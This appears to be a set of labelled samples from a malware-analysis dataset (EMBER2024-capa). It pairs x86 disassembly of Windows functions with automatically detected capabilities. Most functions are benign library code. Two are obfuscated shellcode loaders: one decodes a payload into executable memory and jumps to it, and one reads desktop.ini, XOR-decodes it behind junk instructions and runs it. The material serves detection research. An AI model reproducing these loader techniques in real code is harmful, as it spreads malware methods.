joyce8/EMBER2024-capa huggingface dataset:
Function at 0x1001bba4
Capabilities:
Create raw socket
Initialize winsock library

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x194
mov eax, dword [0x1009f1f4]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
push edi
mov esi, ecx
lea eax, [ebp - 0x194]
push eax
xor edi, edi
push 0x101
mov dword [esi + 0xc], edi
mov dword [esi + 0x10], edi
call dword [sym.imp.WS2_32.dll_WSAStartup]
call dword [sym.imp.WS2_32.dll_WSACreateEvent]
mov dword [esi + 4], eax
call dword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
push edi
push edi
push edi
xor ebx, ebx
mov word [esi + 8], ax
inc ebx
push ebx
push 3
push 2
call dword [sym.imp.WS2_32.dll_WSASocketW]
mov dword [esi], eax
cmp eax, 0xffffffff
je 0x1001bc21
push ebx
push dword [esi + 4]
push eax
call dword [sym.imp.WS2_32.dll_WSAEventSelect]
push 0x2c
mov dword [esi + 0x10], ebx
call fcn.1004e2da
mov dword [esi + 0xc], eax
pop ecx
test eax, eax
jne 0x1001bc21
mov dword [esi + 0x10], edi
mov ecx, dword [ebp - 4]
mov eax, esi
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.1001fb34
leave
ret

Function at 0x1001bd2b
Capabilities:
Resolve dns

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x7c
mov eax, dword [0x1009f1f4]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 0xc]
push ebx
push esi
mov esi, dword [ebp + 8]
mov ebx, ecx
push edi
push 0x64
mov dword [ebp - 0x7c], eax
xor edi, edi
lea eax, [ebp - 0x68]
push edi
push eax
call fcn.1003a930
add esp, 0xc
test esi, esi
je 0x1001bdc4
push esi
call dword [sym.imp.WS2_32.dll_gethostbyname]
mov esi, eax
test esi, esi
je 0x1001bdc4
mov ecx, dword [esi + 0xc]
mov ecx, dword [ecx]
jmp 0x1001bda6
movsx eax, word [esi + 0xa]
push eax
push ecx
lea eax, [ebp - 0x74]
push eax
call fcn.1003a250
add esp, 0xc
push dword [ebp - 0x74]
call dword [sym.imp.WS2_32.dll_inet_ntoa]
push eax
lea eax, [ebp - 0x68]
push 0x10084960
push eax
call fcn.1001bb89
mov eax, dword [esi + 0xc]
add esp, 0xc
inc edi
mov ecx, dword [eax + edi*4]
test ecx, ecx
jne 0x1001bd72
push dword [ebp + 0x10]
lea eax, [ebp - 0x68]
push dword [ebp - 0x7c]
push eax
call dword [sym.imp.WS2_32.dll_inet_addr]
push eax
mov ecx, ebx
call fcn.1001bdd7
jmp 0x1001bdc6
xor eax, eax
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.1001fb34
leave
ret 0xc
Function at 0x1001bdd7
Capabilities:
Receive data
Receive data on socket
Send data
Send data on socket

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x150
mov eax, dword [0x1009f1f4]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
mov ebx, dword [ebp + 0xc]
push esi
push edi
mov edi, ecx
cmp dword [edi + 0x10], 0
je 0x1001bf8e
push 2
pop eax
mov word [ebp - 0x114], ax
mov eax, dword [ebp + 8]
mov dword [ebp - 0x110], eax
mov dword [ebp - 0x144], 0x10
call fcn.1001bc9e
mov cx, word [0x100a1d98]
inc cx
mov dword [ebp - 0x14c], eax
push 0x2c
mov word [0x100a1d98], cx
push 0
push dword [edi + 0xc]
movzx eax, cx
mov dword [ebp - 0x148], eax
call fcn.1003a930
mov esi, dword [edi + 0xc]
add esp, 0xc
mov ecx, edi
mov word [esi], 8
mov ax, word [edi + 8]
mov word [esi + 4], ax
mov eax, dword [ebp - 0x148]
mov word [esi + 6], ax
mov eax, dword [ebp - 0x14c]
push 0x2c
mov dword [esi + 8], eax
push dword [edi + 0xc]
call fcn.1001bc50
mov word [esi + 2], ax
lea eax, [ebp - 0x114]
push dword [ebp - 0x144]
push eax
push 0
push 0x2c
push dword [edi + 0xc]
push dword [edi]
call dword [sym.imp.WS2_32.dll_sendto]
cmp eax, 0xffffffff
je 0x1001bf8e
test ebx, ebx
jne 0x1001beb0
xor eax, eax
inc eax
jmp 0x1001bf90
push 0x100
lea eax, [ebp - 0x104]
push 0
push eax
call fcn.1003a930
add esp, 0xc
lea esi, [edi + 4]
push 0
push 0x64
push 0
push esi
push 1
call dword [sym.imp.WS2_32.dll_WSAWaitForMultipleEvents]
cmp eax, 0x102
je 0x1001bf78
lea eax, [ebp - 0x140]
push eax
push dword [esi]
push dword [edi]
call dword [sym.imp.WS2_32.dll_WSAEnumNetworkEvents]
test byte [ebp - 0x140], 1
je 0x1001bf78
mov ecx, edi
call fcn.1001bc9e
mov esi, eax
lea eax, [ebp - 0x144]
push eax
lea eax, [ebp - 0x114]
push eax
push 0
push 0x100
lea eax, [ebp - 0x104]
push eax
push dword [edi]
call dword [sym.imp.WS2_32.dll_recvfrom]
mov edx, eax
cmp edx, 0xffffffff
je 0x1001bf75
mov cl, byte [ebp - 0x104]
and cl, 0xf
movzx ecx, cl
shl cx, 2
movzx eax, cx
movzx ecx, ax
mov dword [ebp - 0x150], eax
mov ax, word [ebp + ecx - 0x100]
cmp ax, word [edi + 8]
jne 0x1001bf75
cmp byte [ebp + ecx - 0x104], 0
jne 0x1001bf75
mov eax, dword [ebp - 0x148]
cmp word [ebp + ecx - 0xfe], ax
je 0x1001bfa1
lea esi, [edi + 4]
mov ecx, edi
call fcn.1001bc9e
sub eax, dword [ebp - 0x14c]
cmp eax, dword [ebp + 0x10]
jb 0x1001bec9
xor eax, eax
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.1001fb34
leave
ret 0xc
sub esi, dword [ebp + ecx - 0xfc]
mov ecx, dword [ebp - 0x150]
movzx ecx, cx
sub edx, ecx
mov word [ebx], ax
movzx ecx, byte [ebp - 0xfc]
sub edx, 0xc
mov dword [ebx + 4], esi
mov dword [ebx + 8], edx
mov dword [ebx + 0xc], ecx
jmp 0x1001bea8
Function at 0x1006486d
Capabilities:
Read file on windows

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
pop ebp
jmp fcn.10064475

Function at 0x10068045
Capabilities:
Set environment variable

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
pop ebp
jmp fcn.100678f1

Function at 0x10068050
Capabilities:
Set environment variable

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
pop ebp
jmp fcn.10067b2c

Function at 0x100766b3
Capabilities:
Create thread
Print debug messages

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
pop ebp
jmp fcn.100764f1

Function at 0x1007c490
Capabilities:
Encrypt data using rc4 prga

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
cmp dword [0x100a341c], 0
push esi
mov esi, dword [ebp + 8]
jne 0x1007c59b
push 0x100a3420
call dword [sym.imp.KERNEL32.dll_InterlockedIncrement]
cmp eax, 1
jne 0x1007c589
test esi, esi
jne 0x1007c57e
push ebx
push edi
push str.advapi32.dll
mov dword [ebp + 8], esi
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov esi, eax
test esi, esi
je 0x1007c55e
mov edi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push str.CryptAcquireContextA
push esi
call edi
mov ebx, eax
test ebx, ebx
je 0x1007c55e
push str.CryptGenRandom
push esi
call edi
mov dword [ebp - 8], eax
test eax, eax
je 0x1007c55e
push str.CryptReleaseContext
push esi
call edi
mov edi, eax
test edi, edi
je 0x1007c55e
push 0xf0000000
push 1
push 0
push 0
lea eax, [ebp + 8]
push eax
call ebx
test eax, eax
je 0x1007c55e
lea eax, [ebp - 4]
push eax
push 4
push dword [ebp + 8]
call dword [ebp - 8]
push 0
push dword [ebp + 8]
mov esi, eax
call edi
test esi, esi
je 0x1007c55e
mov eax, dword [ebp - 4]
movzx esi, al
shl esi, 8
movzx eax, ah
or esi, eax
movzx eax, byte [ebp - 2]
shl esi, 8
or esi, eax
movzx eax, byte [ebp - 1]
shl esi, 8
or esi, eax
jmp 0x1007c572
push 0
call fcn.10051498
add esp, 4
mov esi, eax
call dword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
xor esi, eax
test esi, esi
mov eax, 1
pop edi
cmove esi, eax
pop ebx
mov dword [0x100a341c], esi
pop esi
mov esp, ebp
pop ebp
ret
mov esi, dword [sym.imp.KERNEL32.dll_SwitchToThread]
nop
call esi
cmp dword [0x100a341c], 0
je 0x1007c590
pop esi
mov esp, ebp
pop ebp
ret
Function at 0x1007c5a0
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
push ecx
mov ecx, dword [ebp + 0x10]
mov edx, dword [ebp + 0xc]
add ecx, 0xdeadbeef
push ebx
mov ebx, dword [ebp + 8]
add ecx, edx
push esi
mov esi, ecx
mov dword [ebp + 0x10], esi
push edi
mov edi, ecx
cmp edx, 0xc
jbe switch.0x1007c6ac
add edx, 0xfffffff3
mov eax, 0xaaaaaaab
mul edx
mov eax, edx
shr eax, 3
inc eax
mov dword [ebp - 4], eax
nop dword [eax + eax]
movzx esi, byte [ebx + 7]
movzx eax, byte [ebx + 6]
movzx edx, byte [ebx + 0xb]
shl esi, 8
add esi, eax
shl edx, 8
movzx eax, byte [ebx + 5]
shl esi, 8
add esi, eax
movzx eax, byte [ebx + 4]
add edi, eax
shl esi, 8
movzx eax, byte [ebx + 0xa]
add edi, esi
movzx esi, byte [ebx + 8]
add edx, eax
movzx eax, byte [ebx + 9]
add esi, ecx
shl edx, 8
add edx, eax
shl edx, 8
add esi, edx
mov edx, dword [ebp + 8]
mov ebx, esi
rol ebx, 4
movzx ecx, byte [edx + 3]
movzx eax, byte [edx + 2]
shl ecx, 8
add ecx, eax
movzx eax, byte [edx + 1]
shl ecx, 8
add ecx, eax
movzx eax, byte [edx]
shl ecx, 8
add ecx, eax
sub ecx, esi
add esi, edi
add ecx, dword [ebp + 0x10]
xor ebx, ecx
sub edi, ebx
mov eax, ebx
add ebx, esi
rol eax, 6
xor eax, edi
sub esi, eax
mov edx, eax
rol edx, 8
add eax, ebx
xor edx, esi
sub ebx, edx
mov esi, edx
rol esi, 0x10
add edx, eax
xor esi, ebx
mov ebx, dword [ebp + 8]
mov edi, esi
sub eax, esi
ror edi, 0xd
add esi, edx
xor edi, eax
mov dword [ebp + 0x10], esi
sub edx, edi
mov ecx, edi
rol ecx, 4
add ebx, 0xc
xor ecx, edx
mov dword [ebp + 8], ebx
mov edx, dword [ebp + 0xc]
add edi, esi
sub edx, 0xc
sub dword [ebp - 4], 1
mov dword [ebp + 0xc], edx
jne 0x1007c5e0
cmp edx, 0xc
ja 0x1007c718
jmp dword [edx*4 + 0x1007c768]
movzx eax, byte [ebx + 0xb]
shl eax, 0x18
add ecx, eax
movzx eax, byte [ebx + 0xa]
shl eax, 0x10
add ecx, eax
movzx eax, byte [ebx + 9]
shl eax, 8
add ecx, eax
movzx eax, byte [ebx + 8]
add ecx, eax
movzx eax, byte [ebx + 7]
shl eax, 0x18
add edi, eax
movzx eax, byte [ebx + 6]
shl eax, 0x10
add edi, eax
movzx eax, byte [ebx + 5]
shl eax, 8
add edi, eax
movzx eax, byte [ebx + 4]
add edi, eax
movzx eax, byte [ebx + 3]
shl eax, 0x18
add esi, eax
movzx eax, byte [ebx + 2]
shl eax, 0x10
add esi, eax
movzx eax, byte [ebx + 1]
shl eax, 8
add esi, eax
movzx eax, byte [ebx]
add esi, eax
mov dword [ebp + 0x10], esi
xor ecx, edi
mov eax, edi
rol eax, 0xe
sub ecx, eax
mov eax, ecx
mov esi, ecx
xor esi, dword [ebp + 0x10]
rol eax, 0xb
sub esi, eax
xor edi, esi
mov eax, esi
ror eax, 7
sub edi, eax
mov eax, edi
xor ecx, edi
rol eax, 0x10
sub ecx, eax
mov eax, ecx
mov edx, ecx
rol eax, 4
xor edx, esi
sub edx, eax
mov eax, edx
xor edi, edx
rol eax, 0xe
sub edi, eax
mov eax, edi
xor ecx, edi
ror eax, 8
sub ecx, eax
pop edi
pop esi
mov eax, ecx
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x10002021
Capabilities:
Query environment variable

Disassembly:
cmp dword [esp + 0xc], 0
push ebx
push ebp
je 0x1000209d
xor ebp, ebp
push ebp
push dword [esp + 0x18]
push dword [esp + 0x14]
call sym.java.dll__JNU_GetStringPlatformChars_12
mov ebx, eax
test ebx, ebx
je 0x1000209d
push edi
push ebp
push ebp
push ebx
call dword [sym.imp.kernel32.dll_GetEnvironmentVariableA]
mov ebp, eax
test ebp, ebp
je 0x10002088
push ebp
call dword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_malloc]
mov edi, eax
pop ecx
test edi, edi
je 0x10002088
push ebp
push edi
push ebx
call dword [sym.imp.kernel32.dll_GetEnvironmentVariableA]
push edi
test eax, eax
je 0x10002081
push dword [esp + 0x14]
call sym.java.dll__JNU_NewStringPlatform_8
push edi
mov ebp, eax
call dword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_free]
pop ecx
jmp 0x1000208a
call dword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_free]
pop ecx
xor ebp, ebp
push ebx
push dword [esp + 0x1c]
push dword [esp + 0x18]
call sym.java.dll__JNU_ReleaseStringPlatformChars_12
mov eax, ebp
pop edi
jmp 0x1000209f
xor eax, eax
pop ebp
pop ebx
ret 0xc

Function at 0x10002819
Capabilities:
Identify system language via api

Disassembly:
cmp dword [esp + 0xc], 0
je 0x10002828
call dword [sym.imp.kernel32.dll_GetUserDefaultLCID]
jmp 0x1000282e
call dword [sym.imp.kernel32.dll_GetUserDefaultUILanguage]
push esi
movzx eax, ax
push edi
push eax
call fcn.10012330
mov esi, eax
pop ecx
test esi, esi
je 0x1000285a
mov ecx, dword [esp + 0xc]
push esi
push ecx
mov edx, dword [ecx]
call dword [edx + 0x29c]
push esi
mov edi, eax
call dword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_free]
pop ecx
jmp 0x1000286a
push str.memory_allocation_error
push dword [esp + 0x10]
call sym.java.dll__JNU_ThrowOutOfMemoryError_8
xor edi, edi
mov eax, edi
pop edi
pop esi
ret 0xc

Function at 0x10003d57
Capabilities:
Query environment variable

Disassembly:
push ecx
push ecx
push ebx
push ebp
push esi
mov esi, dword [esp + 0x18]
push edi
push esi
call sym.java.dll__JNU_ClassString_4
mov ebp, eax
test ebp, ebp
je 0x10003da0
mov ecx, dword [esi]
push str.__B_V
push str._init_
push ebp
push esi
call dword [ecx + 0x84]
mov dword [esp + 0x14], eax
test eax, eax
je 0x10003da0
call dword [sym.imp.kernel32.dll_GetEnvironmentStrings]
mov edi, eax
test edi, edi
jne 0x10003da9
push str.GetEnvironmentStrings_failed
push esi
call sym.java.dll__JNU_ThrowOutOfMemoryError_8
xor eax, eax
pop edi
pop esi
pop ebp
pop ebx
pop ecx
pop ecx
ret
xor ebx, ebx
cmp byte [edi], bl
je 0x10003dbc
mov al, byte [ebx + edi]
inc ebx
test al, al
jne 0x10003daf
cmp byte [ebx + edi], al
jne 0x10003daf
mov eax, dword [esi]
push ebx
push esi
call dword [eax + 0x2c0]
mov ecx, eax
mov dword [esp + 0x10], ecx
push edi
test ecx, ecx
jne 0x10003dd9
call dword [sym.imp.kernel32.dll_FreeEnvironmentStringsA]
jmp 0x10003da0
mov eax, dword [esi]
push ebx
push 0
push ecx
push esi
call dword [eax + 0x340]
push edi
call dword [sym.imp.kernel32.dll_FreeEnvironmentStringsA]
push dword [esp + 0x10]
mov eax, dword [esi]
push dword [esp + 0x18]
push ebp
push esi
call dword [eax + 0x70]
add esp, 0x10
jmp 0x10003da2
Function at 0x10007bba
Capabilities:
Create new key via cryptacquirecontext
Generate random numbers via winapi

Disassembly:
push ecx
push ebx
push ebp
push esi
mov esi, dword [sym.imp.advapi32.dll_CryptAcquireContextA]
lea eax, [esp + 0xc]
push edi
push 0
xor ebp, ebp
mov edi, str.J2SE
inc ebp
xor bl, bl
push ebp
push 0
push edi
push eax
call esi
test eax, eax
jne 0x10007bf4
push 8
push ebp
push eax
push edi
lea eax, [esp + 0x20]
push eax
call esi
test eax, eax
jne 0x10007bf4
xor al, al
jmp 0x10007c51
mov esi, dword [esp + 0x18]
push dword [esp + 0x20]
push esi
mov eax, dword [esi]
call dword [eax + 0x2ac]
mov ecx, dword [esi]
mov ebp, eax
push 0
push dword [esp + 0x24]
push esi
call dword [ecx + 0x2e0]
mov edi, eax
test edi, edi
je 0x10007c43
push edi
push ebp
push dword [esp + 0x18]
call dword [sym.imp.advapi32.dll_CryptGenRandom]
mov ecx, dword [esi]
test eax, eax
push 1
pop eax
push 0
push edi
push dword [esp + 0x28]
movzx ebx, bl
push esi
cmovne ebx, eax
call dword [ecx + 0x300]
push 0
push dword [esp + 0x14]
call dword [sym.imp.advapi32.dll_CryptReleaseContext]
mov al, bl
pop edi
pop esi
pop ebp
pop ebx
pop ecx
ret 0xc

Function at 0x10007f15
Capabilities:
Check if file exists
Get file attributes

Disassembly:
push ebx
push esi
push dword [0x1001ff58]
push dword [esp + 0x18]
push dword [esp + 0x14]
call fcn.1000a1e8
mov esi, eax
add esp, 0xc
test esi, esi
je 0x10007f66
push esi
call dword [sym.imp.kernel32.dll_GetFileAttributesW]
push eax
push esi
call fcn.10012330
push esi
mov ebx, eax
call dword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_free]
add esp, 0xc
cmp ebx, 0xffffffff
je 0x10007f66
mov ecx, dword [esp + 0x18]
sub ecx, 1
je 0x10007f75
sub ecx, 1
je 0x10007f6d
dec ecx
sub ecx, 1
je 0x10007f75
xor al, al
pop esi
pop ebx
ret 0x10
and bl, 0x11
cmp bl, 1
je 0x10007f66
mov al, 1
jmp 0x10007f68

Function at 0x10007f79
Capabilities:
Create directory

Disassembly:
push edi
push dword [0x1001ff58]
push dword [esp + 0x14]
push dword [esp + 0x10]
call fcn.1000a1e8
mov edi, eax
add esp, 0xc
test edi, edi
je 0x10007fb3
push esi
push 0
push edi
call dword [sym.imp.kernel32.dll_CreateDirectoryW]
push edi
mov esi, eax
call dword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_free]
pop ecx
test esi, esi
pop esi
je 0x10007fb3
mov al, 1
jmp 0x10007fb5
xor al, al
pop edi
ret 0xc
Function at 0x10007fba
Capabilities:
Check if file exists
Get file attributes

Disassembly:
push esi
push edi
xor edi, edi
push edi
push dword [esp + 0x18]
push dword [esp + 0x14]
call fcn.1000a6ac
mov esi, eax
add esp, 0xc
test esi, esi
je 0x1000803c
push esi
call fcn.10012330
pop ecx
test eax, eax
jne 0x10008034
push edi
push 0x200080
push 1
push edi
push 3
push 0xc0000000
push esi
call dword [sym.imp.kernel32.dll_CreateFileW]
mov edi, eax
cmp edi, 0xffffffff
jne 0x10008043
call dword [sym.imp.kernel32.dll_GetLastError]
mov edi, eax
cmp edi, 0x50
je 0x10008034
cmp edi, 0xb7
je 0x10008034
push esi
call dword [sym.imp.kernel32.dll_GetFileAttributesW]
cmp eax, 0xffffffff
jne 0x10008034
push edi
call dword [sym.imp.kernel32.dll_SetLastError]
push str.Could_not_open_file
push dword [esp + 0x10]
call sym.java.dll__JNU_ThrowIOExceptionWithLastError_8
push esi
call dword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_free]
pop ecx
xor al, al
pop edi
pop esi
ret 0xc
push esi
call dword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_free]
pop ecx
push edi
call dword [sym.imp.kernel32.dll_CloseHandle]
mov al, 1
jmp 0x1000803e

Function at 0x1000836f
Capabilities:
Get disk size

Disassembly:
push ebp
lea ebp, [esp - 0x7a8]
sub esp, 0x828
mov eax, dword [0x1001ff00]
xor eax, ebp
mov dword [ebp + 0x7a4], eax
mov eax, dword [ebp + 0x7b8]
xorps xmm0, xmm0
mov ecx, dword [ebp + 0x7b0]
push ebx
push esi
push edi
push dword [0x1001ff58]
movlpd qword [ebp - 0x80], xmm0
push eax
push ecx
call fcn.1000a1e8
add esp, 0xc
mov ebx, eax
lea eax, [ebp - 0x60]
push 0x400
push eax
push ebx
call dword [sym.imp.kernel32.dll_GetVolumePathNameW]
test eax, eax
je 0x1000840e
lea eax, [ebp - 0x70]
push eax
lea eax, [ebp - 0x78]
push eax
lea eax, [ebp - 0x68]
push eax
lea eax, [ebp - 0x60]
push eax
call dword [sym.imp.kernel32.dll_GetDiskFreeSpaceExW]
test eax, eax
je 0x1000840e
mov eax, dword [ebp + 0x7bc]
sub eax, 0
je 0x10008406
sub eax, 1
je 0x100083fe
sub eax, 1
jne 0x1000840e
mov esi, dword [ebp - 0x68]
mov edi, dword [ebp - 0x64]
jmp 0x10008414
mov esi, dword [ebp - 0x70]
mov edi, dword [ebp - 0x6c]
jmp 0x10008414
mov esi, dword [ebp - 0x78]
mov edi, dword [ebp - 0x74]
jmp 0x10008414
mov edi, dword [ebp - 0x7c]
mov esi, dword [ebp - 0x80]
push ebx
call dword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_free]
pop ecx
mov ecx, dword [ebp + 0x7a4]
mov edx, edi
pop edi
mov eax, esi
xor ecx, ebp
pop esi
pop ebx
call fcn.10014785
add ebp, 0x7a8
leave
ret 0x10
Function at 0x1000b6d5
Capabilities:
Get common file path

Disassembly:
sub esp, 0x108
mov eax, dword [0x1001ff00]
xor eax, esp
mov dword [esp + 0x104], eax
push ebp
push esi
push edi
mov edi, dword [esp + 0x118]
lea eax, [esp + 0xc]
mov ebp, 0x104
xor esi, esi
push ebp
push eax
call dword [sym.imp.kernel32.dll_GetSystemDirectoryA]
test eax, eax
je 0x1000b738
lea eax, [esp + 0xc]
push 0x10017e60
push eax
call sub.api_ms_win_crt_string_l1_1_0.dll_strcat
lea eax, [esp + 0x14]
push edi
push eax
call sub.api_ms_win_crt_string_l1_1_0.dll_strcat
add esp, 0x10
lea eax, [esp + 0xc]
push eax
call dword [sym.imp.kernel32.dll_LoadLibraryA]
mov esi, eax
test esi, esi
jne 0x1000b772
push ebp
lea eax, [esp + 0x10]
push eax
call dword [sym.imp.kernel32.dll_GetWindowsDirectoryA]
test eax, eax
je 0x1000b772
lea eax, [esp + 0xc]
push 0x10017e60
push eax
call sub.api_ms_win_crt_string_l1_1_0.dll_strcat
lea eax, [esp + 0x14]
push edi
push eax
call sub.api_ms_win_crt_string_l1_1_0.dll_strcat
add esp, 0x10
lea eax, [esp + 0xc]
push eax
call dword [sym.imp.kernel32.dll_LoadLibraryA]
mov esi, eax
mov ecx, dword [esp + 0x110]
mov eax, esi
pop edi
pop esi
pop ebp
xor ecx, esp
call fcn.10014785
add esp, 0x108
ret

Function at 0x10012330
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x48
pushal
call 0x1001233f
pop dword [ebp - 0x38]
mov eax, 0xf0b8578a
add eax, 0x1f48cbb5
sub dword [ebp - 0x38], eax
mov dword [ebp - 0x48], 0x845ac1fc
add dword [ebp - 0x48], 0xc9f7834f
mov dword [ebp - 0x44], 0x4c6d41e6
sub dword [ebp - 0x44], 0x1a39f5a1
mov dword [ebp - 0x40], 0xb60c4272
sub dword [ebp - 0x40], 0x69bffe44
mov dword [ebp - 0x3c], 0x12e8560d
add dword [ebp - 0x3c], 0xed17a9f3
lea eax, [ebp - 0x48]
push eax
mov eax, sym.imp.kernel32.dll_GetModuleHandleA
add eax, dword [ebp - 0x38]
call dword [eax]
mov dword [ebp - 0x48], 0xf2ec36a1
add dword [ebp - 0x48], 0x818632b5
mov dword [ebp - 0x44], 0x635df068
sub dword [ebp - 0x44], 0x21f18ef3
mov dword [ebp - 0x40], 0x5ab3b59d
sub dword [ebp - 0x40], 0xf7444931
mov dword [ebp - 0x3c], 0x14e4f7ef
add dword [ebp - 0x3c], 0xeb1b0811
lea ebx, [ebp - 0x48]
push ebx
push eax
mov eax, sym.imp.kernel32.dll_GetProcAddress
add eax, dword [ebp - 0x38]
call dword [eax]
push 0x40
push 0x1000
push 0x34f5b
push 0
call eax
mov ecx, 0x3d0b
xor ebx, ebx
add ebx, eax
mov esi, 0x10023600
add esi, dword [ebp - 0x38]
mov edi, 0x8e75c6ed
sub edi, 0x47e620e1
xor dword [ebp - 0x14], 0x6bccedb5
mov edx, dword [esi]
sub dword [ebp - 0x10], 0xf777678e
add edx, edi
mov dword [ebx], edx
add dword [ebp - 8], 0xe4c735b0
add ebx, 0x278b12da
sub ebx, 0x278b12d6
add esi, 0xccd3e100
sub esi, 0xccd3e0fc
loop 0x1001244d
add eax, 0xe6ff
mov ebx, eax
add eax, 5
mov ecx, 0x2052f363
add ecx, 0xefad0c9d
add ecx, dword [ebp - 0x38]
call ebx
leave
ret
Function at 0x407e15
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x42e180]
jne 0x407e1f
repz ret
jmp fcn.0040bc0c

Function at 0x10001193
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
push ecx
push ecx
push ebx
push esi
mov esi, str.dpmmBmbvusjWfmjGebfSfmjGfubfsDXfuvdfyFmmfiT
push edi
mov eax, esi
call fcn.1000117f
push esi
mov esi, dword [sym.imp.KERNEL32.dll_LoadLibraryW]
xor ebx, ebx
push str.shell32.dll
mov byte [0x10003029], bl
mov byte [0x10003034], bl
mov byte [0x1000303d], bl
call esi
mov edi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call edi
push 0x10003035
push str.kernel32.dll
mov dword [ebp - 4], eax
call esi
push eax
call edi
push 0x1000303e
push str.kernel32.dll
mov dword [ebp - 8], eax
call esi
push eax
call edi
push 1
push ebx
push ebx
push 0x10002058
push ebx
push ebx
mov edi, eax
call dword [ebp - 4]
push ebx
push 0x80
push 3
push ebx
push 1
push 0x80000000
push str.desktop.ini
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov dword [0x10003060], eax
cmp eax, 0xffffffff
je 0x100013f5
push 0x40
mov esi, 0x1000
push esi
push esi
push ebx
call edi
push ebx
push 0x10003064
push esi
push eax
push dword [0x10003060]
mov dword [0x1000305c], eax
call dword [ebp - 8]
mov eax, dword [0x1000305c]
mov cl, byte [eax]
push eax
xor bx, si
xor bx, si
btc esi, 0x8d
xor dx, 0xf73
xor dx, 0x7cc5
xor dx, 0xae7
xor dx, 0x7951
btc esi, 0x8d
ror si, 2
rol si, 2
pop eax
xor bx, 0x1fdd
xor bx, 0xfe35
xor bx, 0xa079
xor bx, 0x4191
push eax
xor bp, bx
xor bp, bx
ror bl, 0x3f
test di, bx
rol bl, 0x3f
xor dx, 0xf37d
xor dx, 0xef5d
xor dx, 0xbe3c
xor dx, 0xa21c
pop eax
rol di, 0x7e
ror di, 0x7e
push eax
xor dx, ax
xor dx, ax
test bp, cx
xor bx, bp
movzx ecx, cl
xor ecx, 0x4e
push eax
xor bx, si
xor bx, si
btc esi, 0x8d
xor dx, 0xf73
xor dx, 0x7cc5
xor dx, 0xae7
xor dx, 0x7951
btc esi, 0x8d
ror si, 2
rol si, 2
pop eax
xor bx, 0x1fdd
xor bx, 0xfe35
xor bx, 0xa079
xor bx, 0x4191
push eax
xor bp, bx
xor bp, bx
ror bl, 0x3f
test di, bx
rol bl, 0x3f
xor dx, 0xf37d
xor dx, 0xef5d
xor dx, 0xbe3c
xor dx, 0xa21c
pop eax
rol di, 0x7e
ror di, 0x7e
push eax
xor dx, ax
xor dx, ax
test bp, cx
xor bx, bp
xor esi, esi
cmp dword [0x10003064], esi
jbe 0x10001375
mov eax, dword [0x1000305c]
mov dl, byte [eax + esi]
xor dl, cl
add dl, 0x42
mov byte [eax + esi], dl
inc esi
cmp esi, dword [0x10003064]
jb 0x1000135c
push eax
xor bx, si
xor bx, si
btc esi, 0x8d
xor dx, 0xf73
xor dx, 0x7cc5
xor dx, 0xae7
xor dx, 0x7951
btc esi, 0x8d
ror si, 2
rol si, 2
pop eax
xor bx, 0x1fdd
xor bx, 0xfe35
xor bx, 0xa079
xor bx, 0x4191
push eax
xor bp, bx
xor bp, bx
ror bl, 0x3f
test di, bx
rol bl, 0x3f
xor dx, 0xf37d
xor dx, 0xef5d
xor dx, 0xbe3c
xor dx, 0xa21c
pop eax
rol di, 0x7e
ror di, 0x7e
push eax
xor dx, ax
xor dx, ax
test bp, cx
xor bx, bp
call dword [0x1000305c]
pop edi
pop esi
pop ebx
leave
ret 0x10